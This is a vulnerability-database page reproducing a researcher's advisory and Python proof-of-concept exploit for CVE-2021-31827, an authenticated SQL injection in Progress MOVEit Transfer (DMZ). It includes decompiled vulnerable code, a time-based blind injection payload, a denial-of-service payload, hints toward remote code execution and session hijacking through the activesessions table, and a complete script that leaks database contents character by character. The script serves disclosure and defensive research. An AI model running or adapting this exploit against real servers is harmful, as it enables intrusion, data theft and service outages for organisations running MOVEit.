Lucene search
K

SRC-2021-0014 : Progress MOVEit Transfer (DMZ) SILHuman FolderApplySettingsRecurs SQL Injection Remote Code Execution Vulnerability

🗓️ 03 Mar 2021 00:00:00Reported by Steven Seeley (mr_me) of Qihoo 360 Vulcan TeamType 
srcincite
 srcincite
🔗 srcincite.io👁 61 Views

Security vulnerability in MOVEit Transfer (DMZ) allows SQL Injection Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
CNNVD
Progress Software MOVEit Transfer SQL注入漏洞
18 May 202100:00
cnnvd
CVE
CVE-2021-31827
18 May 202110:25
cve
Cvelist
CVE-2021-31827
18 May 202110:25
cvelist
EUVD
EUVD-2021-18702
7 Oct 202500:30
euvd
NVD
CVE-2021-31827
18 May 202112:15
nvd
Prion
Sql injection
18 May 202112:15
prion
RedhatCVE
CVE-2021-31827
9 Jan 202611:23
redhatcve
#!/usr/bin/env python3
"""
Progress MOVEit Transfer (DMZ) SILHuman FolderApplySettingsRecurs SQL Injection Remote Code Execution Vulnerability
Steven Seeley of 360 Vulcan Team
CVE: CVE-2021-31827
Software: https://www.ipswitch.com/moveit
Version:  2020.1 (12.1.1.116)
CVSS: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

# Summary

An authenticated low privileged user can trigger an sql injection which can result in either a denial of service, elevation of privilege or remote code execution (if Postgres or MSSQL is configured).

# Notes

- Rapid-Fail Protection Maximum Failures is set to 5. This means that we can only crash the target 5 times before the apppool is shutdown and we cause a permanent DoS. To avoid this I used a time based blind injection.
- This poc was tested on MySQL and as such only triggers a data leak, but if you want to trigger a DoS, then the following payload triggered 5 times will be sufficient: "1) left join folderperms as sfp on pfp.Username=sfp.Username and 1=1 limit 1-- ". The payload will return a valid result set and trigger a recursive call in the `FolderApplySettingsRecurs` function and eventually cause a stack exhaustion. Likewise if you want to trigger an RCE then you will need to use stacked queries against an instance configured with Postgres or MSSQL server.
- The query will take over 5 seconds to return if the character is true when we sleep for 0.71 of a second. 

```
mysql> SELECT sfp.ID,sfp.FolderPath,sfp.FolderPathHash FROM folderperms AS pfp LEFT JOIN folders ON pfp.ID=folders.ParentID AND folders.FolderType In (4,1) left join folderperms as sfp on pfp.Username=sfp.Username and if(1=1,sleep(0.71),null) limit 1;
+------+------------+----------------+
| ID   | FolderPath | FolderPathHash |
+------+------------+----------------+
| NULL | NULL       | NULL           |
+------+------------+----------------+
1 row in set (5.04 sec)
```

# Vulnerability Analysis

Inside of the `SILHuman.PerformAction` function we can see:

```
// MOVEit.DMZ.WebApp.SILHuman
public void PerformAction(bool IsRecursive = false)
{

            // ...
            else if (num <= 3595407778U)
            {
                if (num <= 3560491993U)
                {
                    if (num != 3550431888U)
                    {
                        if (num != 3554175998U)
                        {
                            // ...
                            return;
                        }
                        else
                        {
                            if (Operators.CompareString(text7, "folderapplysubfoldersettings", false) != 0)
                            {
                                return;
                            }
                            if (Operators.CompareString(this.siGlobs.Opt01, "", false) != 0)
                            {
                                if (Operators.CompareString(this.siGlobs.Opt02, "", false) == 0)
                                {
                                    this.siGlobs.Opt02 = Conversions.ToString(0);
                                }
                                if (Operators.CompareString(this.siGlobs.Opt05, "", false) == 0)
                                {
                                    this.siGlobs.Opt05 = "0";
                                }
                                string arg17 = this.siGlobs.Arg01;
                                bool flag2 = true;
                                SILDictionarysildictionary = null;
                                string left = "";
                                this.FolderApplySettingsRecurs(arg17, ref flag2, ref sildictionary, ref left, ref this.siGlobs.Opt04); // 1
```

This function is over 10k lines of code, so I have only included what's relevant for the sake of brevity. `num` is a calculated hash from the attacker supplied `Transaction` parameter and assuming that the attacker supplies `Transaction=folderapplysubfoldersettings` then they can reach *[1]* which is a call to `FolderApplySettingsRecurs`.

However the last parameter is coming from the attacker supplied POST body.

```
// MOVEit.DMZ.ClassLib.SILGlobals
public void GetWebVarsWEBFORMPOST()
{
    // ...
    this.Opt04 = SILUtility.XHTMLClean(form.Get("Opt04"), true);
    // ...
}
```

The `XHTMLClean` function will html encode ' characters, but that's ok because we don't need quotes in this sql injection.

```
// MOVEit.DMZ.WebApp.SILHuman
// Token: 0x060000FF RID: 255 RVA: 0x000328F8 File Offset: 0x00030AF8
public void FolderApplySettingsRecurs(string ParentID, ref bool IsOrig = true, ref SILDictionaryOrigArgs = null, ref string ErrStr = "", ref string SystemFolderTypes = "")
{
    if (IsOrig & OrigArgs == null)
    {
        // ...
    }
    string query = string.Empty;
    ADORecordset adorecordset = null;
    string text = Conversions.ToString(4);
    if (Operators.CompareString(SystemFolderTypes, "", false) != 0)
    {
        text = text + "," + SystemFolderTypes; // 2
    }
    string text2 = string.Empty;
    string empty = string.Empty;
    SILUtility.SplitFolderIDAndPathHash(ParentID, ref text2, ref empty);
    string text3 = "REPLACE(REPLACE(pfp.FolderPath,'_','\\_'),'%','\\%')";
    if (this.siGlobs.objWrap.Connection.Engine == SIDBEngine.SQLServer)
    {
        text3 = "REPLACE(REPLACE(" + text3 + ",'[','\\['),']','\\]')";
    }
    text3 = "CONCAT(" + text3 + ", CASE WHEN pfp.FolderPath='/' THEN '%' ELSE '/%' END)";
    query = string.Concat(new string[]
    {
        "SELECT sfp.ID,sfp.FolderPath,sfp.FolderPathHash FROM folderperms AS pfp LEFT JOIN folders ON pfp.ID=folders.ParentID AND folders.FolderType In (",
        text, // 3
        ") LEFT JOIN folderperms AS sfp ON pfp.Username=sfp.Username AND folders.ID=sfp.ID WHERE ",
        this.siGlobs.objUser.GetMyUsernameWHEREClauseForFolderPerms("pfp"),
        "AND pfp.ID='",
        text2,
        "' AND pfp.FolderPathHash='",
        empty,
        "' AND ",
        this.siGlobs.objUtility.BuildLikeForSQL("sfp.FolderPath", text3, true, false, false, false)
    });
    this.siGlobs.objWrap.DoReadQuery(query, ref adorecordset, true, true); // 4
    // ...
}
```

At *[2]*  and *[3]* the code concatenates the attacker supplied string into a query. Then at *[4]* an sql injection is triggered. But before we can reach `PerformAction`, the `ProcessHumanRequest` function checks if a username is not "Anonymous" which means the attacker will need a low privileged account to trigger this vulnerability.

```c#
        public void ProcessHumanRequest()
        {
            if (!(Operators.CompareString(this.siGlobs.objUser.Username, "Anonymous", false) == 0 | this.siGlobs.objUser.Permission <= (UserPermissionType)4))  // auth check (weak but enough to minimise impact)
            {
                this.PerformAction(false);
            }
```

The full stacktrace can be reviewed below:

```
>    midmz.dll!MOVEit.DMZ.WebApp.SILHuman.FolderApplySettingsRecurs(string ParentID, ref bool IsOrig, ref MOVEit.DMZ.Core.SILDictionaryOrigArgs, ref string ErrStr, ref string SystemFolderTypes) (IL=0x02B6, Native=0x00007FFACED92E90+0x52E)
     midmz.dll!MOVEit.DMZ.WebApp.SILHuman.PerformAction(bool IsRecursive) (IL=0x603A, Native=0x00007FFACED61AD0+0xBA1B)
     midmz.dll!MOVEit.DMZ.WebApp.SILHuman.ProcessHumanRequest() (IL≈0x0037, Native=0x00007FFACED61820+0x61)
     midmz.dll!MOVEit.DMZ.WebApp.SILHuman.Human_Main() (IL=0x2A7D, Native=0x00007FFACED30080+0x6465)
     midmz.dll!MOVEit.DMZ.WebApp.SILHuman.GetHumanHTMLNew(ref System.Web.HttpRequest parmRequest, ref System.Web.HttpResponse parmResponse, ref System.Web.SessionState.HttpSessionState parmSession, ref System.Web.HttpApplicationState parmApplicationState) (IL=0x0080, Native=0x00007FFACEBDDE80+0x1A9)
     midmz.dll!MOVEit.DMZ.WebApp.human.Page_Load(object sender, System.EventArgs e) (IL≈0x0024, Native=0x00007FFACEBDDBA0+0xD9)
     System.Web.dll!System.Web.UI.Control.OnLoad(System.EventArgs e) (IL≈0x0021, Native=0x00007FFB266F3170+0x6A)
     System.Web.dll!System.Web.UI.Control.LoadRecursive() (IL=0x002E, Native=0x00007FFB266F31E0+0x44)
     System.Web.dll!System.Web.UI.Page.ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x04C3, Native=0x00007FFB26701330+0xEC9)
     System.Web.dll!System.Web.UI.Page.ProcessRequest(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x003C, Native=0x00007FFB267010D0+0x9F)
     System.Web.dll!System.Web.UI.Page.ProcessRequest() (IL≈0x0014, Native=0x00007FFB26701040+0x4B)
     System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFB26DD56F0+0xC3)
     System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFB266C6820+0x58)
     System.Web.dll!System.Web.Util.AspCompatApplicationStep.ExecuteAspCompatCode() (IL≈0x001F, Native=0x00007FFB26E931C0+0x65)
     System.Web.dll!System.Web.Util.AspCompatApplicationStep.OnAspCompatExecution() (IL≈0x0024, Native=0x00007FFB26E932D0+0x60)
```

# Exploitation

The db user is moveitdmz with limited privileges under MySQL:

```
mysql> SHOW GRANTS for moveitdmz@localhost;
+------------------------------------------------------------------+
| Grants for moveitdmz@localhost                                   |
+------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `moveitdmz`@`localhost`                    |
| GRANT ALL PRIVILEGES ON `moveitdmz`.* TO `moveitdmz`@`localhost` |
+------------------------------------------------------------------+
2 rows in set (0.00 sec)

mysql>
```

Also, stack based queries and inserts/updates are not possible under MySQL. However, an attacker can target the activesessions table to escalate privileges:

```
mysql> select LoginName,SessionID from activesessions;
+-----------+--------------------------+
| LoginName | SessionID                |
+-----------+--------------------------+
| harryh    | dkb54yja0xrsvih1iqmcmkmy |
+-----------+--------------------------+
1 row in set (0.00 sec)
```

# Proof of Concept

```
researcher@incite:~$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.1.123 l32c5syb2wiuzy4crf2rulcs

researcher@incite:~$ ./poc.py 192.168.1.123 fino23lobcxjrsahtrci5srj
(+) targeting 192.168.1.123
(+) obtained csrftoken: 816a81e11788cfec1e503f41aeee3b02390b13e4
(+) sql injection working!
(+) MySQL version: 8.0.21-commercial
(+) done!
```
"""
import re
import sys
import urllib3
import requests
from time import time
urllib3.disable_warnings()

def determine_bool(target, sessid, csrftk, exp):
    p = {
       "Transaction" : "folderapplysubfoldersettings",
       "CsrfToken": csrftk,
       "Opt01": 1,
       "Opt04" : "1) left join folderperms as sfp on pfp.Username=sfp.Username and if(%s,sleep(0.71),null) limit 1-- " % exp
    }
    c = { "ASP.NET_SessionId" : sessid }
    before = time()
    requests.post("https://%s/human.aspx" % target, data=p, cookies=c, verify=False)
    after = time()
    if ((after-before) > 5): return True
    return False
    
def trigger_sqli(target, sessid, csrftk, char, sql, c_range):
    for i in c_range:
        if determine_bool(
            target, 
            sessid, 
            csrftk, 
            "ascii(substr((%s),%d,1))=%d" % (sql, char, i)
        ): return chr(i)
    return -1

def leak_string(target, sessid, csrftk, sql, leak_name, max_length, c_range):
    sys.stdout.write("(+) %s: " % leak_name)
    sys.stdout.flush()
    leak_string = ""
    for i in range(1,max_length+1):
        c = trigger_sqli(target, sessid, csrftk, i, sql, c_range)
        if c == -1:
            break
        leak_string += c
        sys.stdout.write(c)
        sys.stdout.flush()
    assert len(leak_string) > 0, "(+) sql injection failed for %s!" % leak_name
    return leak_string 

def get_csrf(target, sessid):
    c = { "ASP.NET_SessionId" : sessid }
    r = requests.get("https://%s/human.aspx" % target, params={"arg12":"account"}, cookies=c, verify=False)
    match = re.search("csrftoken\" value=\"(.{40})", r.text)
    assert match, "(-) was unable to obtain csrf token!"
    return match.group(1)
    
def main():
    if(len(sys.argv) < 3):
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.1.123 l32c5syb2wiuzy4crf2rulcs" % sys.argv[0])
        return
    target = sys.argv[1]
    sessid = sys.argv[2]
    print("(+) targeting %s" % target)
    csrftk = get_csrf(target, sessid)
    print("(+) obtained csrftoken: %s" % csrftk)
    if determine_bool(target, sessid, csrftk, "1=1") and not determine_bool(target, sessid, csrftk, "1=2"):
        print("(+) sql injection working!")
        version = leak_string(
            target,
            sessid, 
            csrftk,
            "select @@version",                      # target query
            "MySQL version",                         # pretty print
            20,                                      # the assumed max length of @@version
            list(range(45,58)) + list(range(97,123)) # decimal charset: 0-9a-z-./
        )
        print("\n(+) done!")

if __name__ == '__main__':
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 May 2021 00:00Current
9High risk
Vulners AI Score9
CVSS 26.5
CVSS 3.18.8
EPSS0.00075
61